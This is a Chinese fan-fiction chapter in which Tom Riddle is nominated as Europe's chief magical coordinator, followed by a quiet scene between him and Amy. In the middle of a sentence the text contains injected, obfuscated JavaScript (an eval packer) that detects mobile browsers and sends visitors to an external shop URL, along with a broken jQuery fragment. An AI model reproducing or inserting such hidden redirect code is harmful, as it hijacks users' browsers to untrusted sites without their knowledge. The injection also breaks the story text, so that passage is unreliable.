全欧魔法交流大会最后一天的清晨，霍格沃茨主展厅的悬浮蜡烛被家养小精灵重新擦得澄明透亮，四张学院长桌在大会期间被重新排布成一大片半圆形阶梯式听众席，此刻每一排都坐满了人。
前排是各国魔法部的正式代表与常设委员会常务理事，中间几排坐着各校派来的交流师生，后排则挤满了从对角巷、霍格莫德、北坡住宅区乃至欧洲大陆闻讯自费赶来的旁听者。他们手里的入场凭证不是加隆，而是一张印有委员会统一序列编号的存根登记卡。
这套检票系统在大会开始前三天才被埃德加紧急调试完毕，为此他连续熬了两夜，把最近一批矮人工匠从伊比利亚矿场带回的含镍矿渣重新做了共振校准，然后对着那个刚被他从外源货运站临时抽调来帮忙的混血实习生说，这扇门以前只认加隆或存根，现在它只认是否在登记表上被记入同一个编码。
开幕式那天的踩踏事故并没有在与会者心头留下太深的阴影。不是因为遗忘，而是因为事故发生后不到一刻钟，多丽丝亲手从城建部后勤仓库调来的麻瓜标准分隔护栏就被矮人工匠用自己的标号模具重新编号后安放在展厅入口处，赫奇帕奇的疏导员们把自己从日托区带来的低龄组安全引导彩旗改成临时排队线标识后，把每一个新抵达的代表团按国别和人数分批引入展厅。
大会第二天的议程由邓布利多亲自主持，他在开场时没有再说“我们瞒了你们太久”，只是用一种极其平淡的语气宣布了本届大会新增的一项临时议程：关于大型国际会议期间会场人流控制方案的标准化建议。
这份建议由汤姆·里德尔教授在踩踏事故发生当晚亲自起草，次日上午经执委会全票通过，现已成为常设委员会安全附录的正式条款。
全场掌声持续了很久，邓布利多没有阻止，只是在掌声渐歇时补了一句：“这份建议的起草人在提交草案时特别注明，所有新设护栏的规格需与教养院扩建区统一标准。如果你们想知道为什么，去问那些在日托区门口排过队的孩子。”
大会的各项议程在接下来的几天里有条不紊地推进。弗立维和奥利凡德共同主持了通讯器与魔杖的联合应用展示，把第四代通讯器基底的共振层封装工艺与幼杖安全锁的冷却窗口校准做了一次实时联调演示。
斯普劳特和斯拉格霍恩联合发布了一份由马人草药交换哨站、人鱼深海胶质采集站和矮人锻炉共同提供原材料的跨物种药剂标准化最新成果。
费尔法克斯与林加分别从古魔纹微型化与深海胶质固化角度，向与会者介绍了国际魔法阵技术互认委员会的最新一批联合巡查数据。
帕拉塞尔则把德国老术士在极地冻土条件下测试出的两种备用共振层配比与意大利托雷教授从梵蒂冈旧档案室找出的星象阵手稿做了交叉对比，结论是蛇形符文与星象阵在两千年前用的是同一套古符文字母。
托雷教授本人坐在台下，听到这里时把自己那支从光谱仪画光路图的时代保留至今的红铅笔从口袋里拿出来，在笔记本边缘画了一个箭头，指向坐在前排的里德尔。
但所有人都知道，真正的重头戏在最后一天。
法国魔法部的首席术士是在大会闭幕式当天清晨通过常设委员会秘书处正式递交了一份外交照会。这份照会的措辞在巴黎的清晨反复修改过好几稿，每一稿都被法国魔法部部长亲自驳回重写。不是因为不满，而是因为他每次读到“首席协调官”这个词时都觉得自己应该用更隆重也更精确的措辞来匹配这个职位。
最终的正式版本被印在法国魔法部特制的浅蓝色信笺上，信笺边缘压着法兰西魔法共和国的纹章，火漆上并排盖着法国魔法部部长、布斯巴顿魔法学校校长以及法国常设委员会代表的印章。法国首席术士在递交照会时没有让翻译随行，他自己用英语念完了全文，语调和他年轻时在布斯巴顿的魔咒课上第一次学会用英式发音念“铁甲咒”时一样郑重。
照会建议，在欧洲魔法教育、技术与安全合作交流大会的常设委员会框架下，设立一个全新的职位：“欧洲魔法合作与安全事务首席协调官”。
该职位的职责将包括：统管各国魔杖安全标准的互认与更新，协调魔法即时通讯网络的跨境基础设施建设，主持国际魔法生物联合委员会的日常事务，并在涉及多个成员国的紧急安全事件中拥有调度各国傲罗外勤力量的技术指挥权。
照会的正文之后另有一页附录，详细列明了该职位与各国魔法部之间的关系：首席协调官不隶属于任何单一国家的魔法部，不对任何单一国家的内部行政事务拥有管辖权，不取代任何现有魔法部部长的法定职权，不干涉各国自治区的内部管理、边界防护阵铺设与麻瓜政府对接事务。
首席协调官的权力范围严格限定于跨国的、共通的、任何一个国家单独解决不了的共同安全事务。魔杖安全标准的互认与更新、通讯加密协议的统一维护、魔法阵互认委员会的技术核验、以及涉及多个成员国的紧急安全事件中的外勤技术指挥权。
附录的措辞经过反复推敲，确保没有任何一条款可以被解读为对各国魔法部主权的侵犯，但同时也确保了没有任何一个涉及全欧共同安全的技术问题可以绕开首席协调官的最终解释权。
照会末尾用极小的字体加了一行附注，注明该职位的首任人选应由各国魔法部联合提名，并经全欧交流大会常设委员会投票确认，不隶属于任何单一国家的魔法部。附注的最后一句是：“法国已正式提名汤姆·里德尔教授。”
全场在那一瞬间安静了。不是踩踏事故那天被无杖屏障压到鸦雀无声的安静，而是一种更深的、被几百个人的心跳同时加速却又同时屏住呼吸的安静。
常设委员会的各国代表们已经在这几天的大会中看了太多关于技术创新和物种联合的备忘录和对比数据，但这一刻，法国人不是在提议一项新技术标准。他们是在提议把整个欧洲的魔杖安全标准、魔法通讯网络、魔法生物联合委员会和跨国安全事务调度权，全部交给同一个人。
德国联邦魔杖安全委员会的核心委员是第一个站起来附议的。他的英语带着浓重的德姆斯特朗口音，但他的措辞简洁明了：“德国附议。我们的幼杖安全锁绑定成功率在引入英国冷却校准草案后首次达到百分之一百。我们的极地站点正在用英国的共振层封装基底。我们已经在用他的标准，没必要让这些标准继续靠猫头鹰和互认备忘录来维持同步，应该让制定这些标准的人直接坐在我们共同的工作台前。”
德国联邦魔杖安全委员会的核心委员说完之后坐下，把一份由德国联邦魔杖安全委员会主席亲笔签署的附议函放在桌上，函末附了一行用铅笔写的私人便条，字迹是他们首席炼金术师的——那位在奥利凡德阁楼里和帕拉塞尔一起熬夜校准极地站点测试数据的老术士。便条上只有一句话：“你们的第四代基底可以在我们零下五十度的湿区接上同样频率的节点。我们不需要再写信了。”
意大利的托雷教授是第二个站起来的。他没有用附议函，也没有用外交辞令，只是把自己那支画了不知多少年光路图的红铅笔从口袋里拿出来，在常设委员会的表决册上亲手写下汤姆·里德尔的名字。他写字时手很稳，和他在阁楼里对着光谱仪画出整条光路图时一模一样：
“意大利附议。我们的佛罗伦萨魔法学院已经在用英国安全锁标准编写明年秋季的课程大纲，我们的第一批自治区核心阵图是用英方公开图纸在互认委员会框架下完成的。这不是外交，这是事实。我们已经在同一套标准里工作了将近两年，只是还没有给这套标准一个正式的名字。”他把红铅笔放回口袋，坐回原位。
坐在他旁边的佩内洛·帕德玛把那份由托雷教授亲笔签署的附议函翻译成英语，她的声音很轻，但念到最后一行关于共同工作台的表述时，她停顿了片刻，然后加了一句只有她自己能听到的注脚：“上次他给我改过论文。”
北欧联合魔咒与炼金术学院的院长紧跟着站起。他的英语比德国委员更生硬，但他的逻辑和其他人一样直接：“北欧附议。我们的极地站点和英国的通讯中继已经在同一套加密协议上跑了将近两年，上次信号中断是因为我们这边的冻土配比出错，不是英国的问题。我们已经不需要重新谈判。我们需要他继续坐在这套协议的最上面一层，确保下次信号中断时有人能在一刻钟内告诉我们问题出在哪里。”
伊比利亚半岛联合魔法学校的草药学教授站起来时没有用任何外交辞令。她翻开一份由西班牙、葡萄牙和安道尔三国魔法部联合签署的附议函，措辞比法国更简短：“伊比利亚附议。我们的幼杖安全锁是英国标准，我们的自治区阵图是按互认委员会框架铺设的。我们不想在没有技术解释权的人手下继续开会。”
荷兰低地魔法技术研究所的符文专家在站起来之前先把自己面前那份由比利时、荷兰、卢森堡三国联合签署的附议函重新核对了一遍签名栏。他的动作和他当年在多丽丝货运站第一次见到麻瓜海关表格时完全一样，确认每一栏都填对了位置。“低地国家附议。我们的通讯中继节点从第三代起就与英国共用同一套加密协议，我们的海关出入境门框用的是英国同款共振层封装。这不是选择，这是现实。”
最后一个站起来的是福斯特部长。他把自己那封已经被他在新闻发布厅桌面上放过两次、又被他在每一次深夜独自坐在办公室里重新改写过措辞的辞职信从内袋里取出来，放在桌上。他的动作很慢，但手没有抖。“不列颠魔法部附议。我是英国魔法部部长，但这个职位比我坐过的任何一把椅子都更大。它不取代任何国家的主权，但它确保了所有国家在同一个技术标准下不会因为缺乏统一调度而各自为政。我在这里正式确认，如果里德尔教授愿意接受这一职位，英国魔法部将立即配合完成全部交接手续，不保留任何行政异议。”
福斯特部长说完之后重新坐下，把自己的辞职信压在常设委员会的投票册下面。坐在他旁边的邓布利多没有站起来，只是把自己那份由霍格沃茨校董会全票通过的附议函放在福斯特部长的信旁边。函末有他亲手用紫色墨水写的一行字，字迹和他多年前在戈德里克山谷写给格林德沃的第一封信完全一样，只是这一次收信人不是盖勒特，而是整个欧洲：“你可以继续当你的教授。他们只是想请你同时替所有人管好那道我们都需要的边界。”
所有附议函全部放在常设委员会的主席台上。那道被各国首席术士、部长、校长和符文专家用不同语言签署的共同提名，被埃德加按国别和提交日期重新整理归档，首页那张由他亲手誊写的索引表上只写了几个词——“提案已通过。提名确认。归档编号：全欧首席协调官。”
里德尔在整个过程中始终坐在霍格沃茨代表席的第一排，双手交叉搁在桌上，姿态平静，和他旁听任何一场委员会例会时完全一样。
常设委员会主席在宣布全票通过、并向将结果正式写入本届大会决议附录后，转向里德尔，用了比平时更郑重的语气问他是否愿意接受这一职位，并强调该职位不隶属于任何单一国家、不取代任何现任部长的职权、不干涉各国内部主权事务，仅就涉及全欧共同安全的标准、协议和应急调度领域对所有成员国共同负责。
里德尔站起来，没有走向讲台，没有整理袍子，只是站在自己的座位前，用整个大会期间在踩踏事故次日向执委会提交人流控制方案修订草案时被邓布利多代为念出、此后数日一直在反复被各国代表逐条分析的那个温和而稳定的声音说道：
“感谢在座各位的信任。我接受这项提名。我的岗位仍然在霍格沃茨，但我会确保全欧洲每一个需要在午夜爬起来翻蛇卵的药剂师、每一个在极地站点独自校准基底温度的实习生、每一个在边境哨站里对着冻土配比反复推敲的工程组。他们在任何情况下都不需要独自面对那些本该由我们共同解决的安全问题。这份职位的全部工作记录和所有技术条款的修订均将对所有成员国的常设委员会代表公开，并接受定期联合审核。”
里德尔说完之后坐下来，把手边那份还没来得及批改完的防御术论文重新翻开到刚才被附议打断了的那一页。窗外那棵老山毛榉树的枝杈正在冬日清晨的斜阳里轻轻旋动着自己的无线电脉冲，树下那圈獾形纹痕旁，低龄组的几个孩子正贴在草甸边的护栏上踮着脚尖往主展厅方向望，手里还攥着今早刚从蜂蜜公爵新品架上拿的荧光粉笔。
全欧魔法交流大会闭幕的那个傍晚，霍格沃茨的走廊里弥漫着一种久违的、只有在盛大筵席散场后才能闻到的气息。、那种在连续多日的高强度议程、技术展示、跨国谈判和无数杯被反复添满又喝空的姜茶之后，终于可以靠在窗边喘一口气的满足。
主展厅的悬浮蜡烛已经被家养小精灵重新调回了常规模式，分隔护栏在最后一批代表团离场后由赫奇帕奇的疏导员们拆下来叠好放回城建部后勤仓库，矮人工匠在每块护栏的转角板上用粉笔逐一核对了返还编号，然后对着那个从教养院日托区临时调来帮忙的实习保育员说这批护栏的磨损程度比上次北坡住宅区施工时低，下次大会还能继续用。
实习保育员把这句话记在交接本上，在旁边加了一行注：矮人师傅说护栏还能用，下次不用重新订。
那棵老山毛榉树枝杈上新被孩子们画上去的荧光星星在暮色里轻轻闪着光。低龄组的几个孩子已经被保育员领回了日托区，但他们留下的粉笔痕迹还在：树根底下那圈獾形纹痕旁，有人用歪歪扭扭的字体在石板地上写了一行字：“大会结束了。星星还在。”
旁边还画了一只爪子往外张的歪猫，和艾米杯子底下那只一模一样，只是这只歪猫头上多了一顶用银绿色粉笔画的尖顶帽。画它的那个男孩在离开前跟同伴说，这是里德尔教授的猫，他在医疗翼窗台上见过。他的同伴说教授不养猫。他说那就是格林特教授的猫。同伴想了想说，也许猫是他们两个人的。
三楼那间老教室在这一周的大会期间被临时改成了首席技术官的日常办公点，桌上堆满了各国工程组送来的阵图草案、冻土配比补充报告和下一季度联合巡查的节点分布图，每一份都在封面角上贴着艾米用标准格式打印的归档标签。
艾米已经换掉了那件在踩踏事故中被支架边角刮破袖口的深绿色正装，穿了一件旧的灰色羊绒开衫，袖口被卷到腕骨上方，右膝的护膝在袍子底下随着坐姿的调整微微泛着恒温养护阵的柔光。
艾米面前摊着刚从流转中心值班室拿回来的下一批寻亲信。
这些信在大会期间积压了好几天，现在被她按国别和日期重新分类，每一封的信封边缘都被她用红墨水标注了初步筛查意见。其中有一封是从弗吉尼亚寄来的，寄信人上次在斯莱特林遗产研讨会上把一根山楂木枯杖交给她，此后陆续给艾米写了好几封信，每一封都在信封背面粘一小片从自家院子里摘的野雏菊花瓣。
这一次的信里夹了一张她在北坡新住宅区看中的联排小楼照片，她说她已经签了意向登记表，正在排明年的定居配额，还问艾米能不能帮她给教养院日托区留一个实习名额。
里德尔坐在她对面那把旧木椅上，面前摊着刚从常设委员会秘书处拿回来的大会决议最终版。封面上并排压着法、德、意、北欧及英国五枚常设委员会印章，页脚被埃德加用标准格式标注了归档编号。
里德尔翻到写着“法国已正式提名汤姆·里德尔教授”的那一页，目光在附注最后一句上停了片刻，然后合上决议，拿起红墨水笔，继续批改他面前那摞在大会期间被耽搁了整整一周的七年级防御术论文。
其中有一份是那个在开幕式踩踏事故中被他从地上拉起来的德姆斯特朗男生写的，论述主题是“缴械咒在对冲力转向中的角度偏差阈值”，引用了安全锁冷却窗口的校准数据作为论据，文末加了一小段括号里的附言，说他犹豫了很多遍是否应该把这行字放进论文正文，最后还是决定告诉教授他那天在医疗翼走廊坐了很久之后把自己的《魔杖学》扉页擦干净了。
里德尔以前描过好些遍献词，最上面那层荧光墨水被他的手指蹭得有点模糊，他重新用他最端正的字在书页写了原句，然后在签名下面贴了一小片从大会手册附录里剪下来的入场登记卡编号，就是他那台的编号。
里德尔读完这段附言，在页边批了一行字：“引用参数已核。附言收悉。下次大会，请走侧门。”
艾米把最后一份寻亲信归档完毕，从椅子上站起来，活动了一下手腕。腕表的表带在她动作时轻轻晃了一下，表盘上那道多年前从孤儿院窗台摔下来时磕出的旧划痕被台灯的暖光照出一小片极淡的暖金色。
艾米拿起自己那只画歪猫的茶杯去续了杯姜茶，然后在里德尔对面重新坐下来，把右腿搁在矮凳上，膝盖上的冰袋已经取下来了，新换的薄马毛护膝在袍子底下贴合得几乎看不出来。
艾米把大会决议副本从桌上拿起来，翻到那一页，用指尖在那行字
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17560325|204472||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
上轻轻点了一下，然后抬起眼看里德尔，眼尾那道弧度已经快和嘴角齐平了。
“伟大的汤姆·里德尔先生——欧洲魔法合作与安全事务首席协调官。”艾米把“首席协调官”几个字咬得字正腔圆，像是在念一份刚通过委员会全票表决的决议标题，每一个音节的轻重都和她在成立魔法阵委员会那天念新铜牌上的全称时完全一致，
“全欧魔杖安全标准、魔法通讯网络、魔法生物联合委员会和跨国安全事务调度权，全部归你一个人管。你看看你，已经是整个欧洲的大家长了。”
艾米把右膝上的护膝换了个角度，用一种更轻快、更像在转述一件趣闻的语气继续说：
“德国联邦魔杖安全委员会的委员站起来附议时说，他们的幼杖安全锁绑定成功率在引入你的冷却校准草案后首次达到百分之一百。意大利的托雷教授用他那支画了不知多少年光路图的红铅笔亲手写下你的名字，写完之后把笔放回口袋，那个动作跟我每次归档完最后一份文件把笔放回笔筒一模一样。北欧联合学院的院长说他们的极地站点和英国通讯中继已经在同一套加密协议上跑了快两年，上次信号中断是因为他们自己的冻土配比出错，不是你的问题。
福斯特部长又把他那封辞职信从内袋里掏出来了。第三次了，他这次把信放在桌上之前还先压了压折角，我看到了，他压了两次。邓布利多用他当年在戈德里克山谷给你写信时完全相同的笔迹在附议函末页加了一句：你可以继续当你的教授，他们只是想请你同时替所有人管好那道我们都需要的边界。你现在是全欧洲的老大了。这个职位不取代任何国家的主权，不干涉任何魔法部的内部行政，但它让所有国家在同一个技术标准下不会因为缺乏统一调度而各自为政。你坐在霍格沃茨三楼这间旧教室里改论文，整个欧洲的边界阵基都在按你写的加密协议同步校准。”
艾米把决议副本合上放回桌面，双手交叉搁在膝上，歪着头看他，眼睛里的笑意已经快溢出来了。“好羡慕哦。我这辈子最大的官就是流转中心首席归档员，手下管着三个实习生和一个老是忘记归档卡编号的教授。不过说真的，受一次伤得了这么多好东西，全套定制防护器件从头武装到牙齿，还顺便把全欧洲最重要的职位送到了你手里。太划得来了！”
艾米说到“太划得来了”时语气轻快得像在讨论今天流转中心的归档卡排版，说完之后嘴角往上扬了半寸。
然后艾米把那只还包着极淡旧痕的右手从膝盖上抬起来，轻轻按在里德尔胸口，和她在禁林月光底下戳他时说“你这个表情是犯规的”时完全一样的位置，力道比那次轻，但停留的时间比那次长。“开玩笑的。”
艾米说：“这个职位不是摔跤摔出来的。是你用了这么多年把全欧洲的魔杖标准、通讯网络、炼金术新校规一条一条写成了别人没法拒绝的既定事实。你记不记得你写第一版冷却窗口校准草案的时候，流转中心的灯亮到凌晨，我去给你换茶，你那时候说这只是技术建议，没有强制约束力。现在呢？
德国人说他们的幼杖安全锁第一次百分百激活，意大利人已经在用你的安全锁标准编明年秋季的课程大纲，北欧人说他们的极地站点和你的通讯中继在同一套加密协议上跑了两年。这些全是你一个人做到的。法国人不是因为我摔了一跤才提名你，是因为他们已经在用你的标准。我的膝盖只是让这份照会早到了几天。你不需要任何人摔跤来换任何东西，你已经做了足够多，多到整个欧洲都欠你一份正式的工作说明。”
里德尔低下头，把她的手从自己胸口拿下来，轻轻握在掌心里，翻过来，手心朝上。他用拇指在她掌心那道已经愈合的旧擦伤旁边极轻地按了一下，然后抬起眼看着艾米：“你的膝盖还疼吗。”
艾米把里德尔的手从膝盖上拿起来，轻轻推回去，推得很慢，像是想把刚才那段时间里所有被她用玩笑包裹住的情绪全部通过掌心推还给里德尔。
“早就不疼了。庞弗雷夫人说恢复得很好。新护膝很管用。你说的那个恒温养护阵真的有用，我昨天在禁林蹲了半个钟头检查虫纹，膝盖一点都没僵。”
艾米把那张矮凳往他椅子旁边挪了几寸，重新坐下来，把里德尔放在桌上的决议副本拿过来翻到最后一页，用指尖在那行被埃德加标注为“即时生效”的归档编号上轻轻点了一下。
“你知道我最羡慕你什么吗？不是你当了多大的官，不是你管着多少标准，甚至不是你用那些密密麻麻的阵图把整个世界变成了更好住的地方。我最羡慕的是你从来没有让任何东西挡住你的眼睛。全世界都在给你鼓掌的时候，你还在改论文。
全欧洲都在签你的名字的时候，你还在改论文。你在医疗翼守了我一整夜。然后回实验室熬了好几天，做了一整套防护。你在大会闭幕式上被所有人站起来鼓掌，然后你坐下来继续改论文。你从来没有让任何东西，包括权力、崇拜、恐惧、愤怒，挡住你的眼睛。这一点，我从孤儿院起就知道。这一点，我永远羡慕你。”
里德尔沉默了很久，把艾米的手重新拿起来，翻开手心，用拇指在她那道已经淡到几乎看不见的旧伤疤上轻轻抚过。
里德尔说，“你从来不挡我的眼睛。你在流转中心每晚把归档卡排好放在我桌上，你在大会前把所有的议程草案逐一审核，你在开幕式那天摔倒的时候第一反应是护右手。你是我的眼睛。”
艾米听完这句话，把里德尔的手从自己手心翻过来，“那我们现在是一双眼睛了。你看前面，我看背后。你管全欧洲的安全，我管你的归档卡。”
艾米把里德尔的手放回桌上，拿起那只画歪猫的茶杯喝了一口。姜茶还是温的，糖加得刚好。她把杯子搁在桌上，杯底那行釉下蓝字正对着窗外暮色里仍在轻轻旋动无线电脉冲的老山毛榉。
窗外那棵老山毛榉的枝杈在暮色里轻轻晃了一下，树根底下那圈獾形纹痕旁，低龄组孩子们画的歪猫还戴着那顶银绿色尖顶帽，荧光粉笔在渐深的暮色里开始发出微微的夜光。
“走吧，伟大的首席协调官先生。”艾米把门推开，靠在门框上，晨光从她身后流淌进来，把她右肩的轮廓勾成一道极柔和的弧线，“流转中心今天有新到的寻亲信要筛，你的归档卡还没交，杯子也该洗了。不管当多大的官，归档卡还是要按时交的。”
里德尔说：“归档卡今天能不能晚一个钟头交。”
艾米说：“可以，就一个钟头。”
然后艾米挽着里德尔的手臂，沿着城堡走廊慢慢往回走，工具箱在她左手轻轻晃着，皮带被她手掌勒出一道浅痕。经过三楼走廊的展区时，艾米看到那根山楂木枯杖还安安静静地躺在中央展柜里，黑丝绒衬垫上落了一层极薄的光。
几个还没离场的低年级学生正趴在展柜前，用指尖在玻璃上轻轻描着杖柄上那条蜿蜒的蛇形雕纹。艾米停了一步，看着那根枯杖，又低头看了看自己腕上的表。表带内侧那个极小的蛇形标记正贴着她的脉搏。然后艾米抬起头，捏了捏里德尔的手臂。
“你知道吗，我第一次在研讨会上看到那根枯杖的时候，觉得它好可惜。等了一千年，等来的是一代又一代不知道自己是谁的人。现在它被放在展柜里，每天有人来看它，有人描它的纹路，有人记住它。那根杖芯枯竭的老魔杖，最后成了所有人都能看到的东西。那根还活着的魔杖，在你袖子里。那枚戒指，被你戴在小拇指上。你把三件斯莱特林的遗物，一件变成了公共记忆，一件变成了你的武器，一件变成了你的承诺。”
艾米把目光从展柜上收回来，转头看着里德尔，“走吧，再不走你的归档卡今天真的要交不上了。我不能让我的首席归档对象在上任第一天就迟交。这可是原则问题。”
里德尔垂眼看着艾米挽在自己臂弯里的手，没有再说话，只是把步子放慢了一些，和她的步速刚好一致。和开幕那天踩踏事故发生后他扶着她走出侧门时一样，和医疗翼走廊里她扶着他手臂走回病房时一样，和孤儿院后院老槐树下他扶她站起来时一模一样。
窗外那棵老山毛榉正在冬日午后的阳光下轻轻摇晃枝杈，树根底下那圈獾形纹痕被冬苔衬得隐隐泛着金属灰。他们沿着城堡的长廊慢慢往回走，身后的大会展厅还亮着灯，各国代表团陆续退场的脚步声和交谈声渐渐远去，只留下流转中心的旧木桌上那盏还没熄灭的台灯，和他手里那份被她排过归档卡、批过批注、现在正安安静静等着他回去继续改完的论文。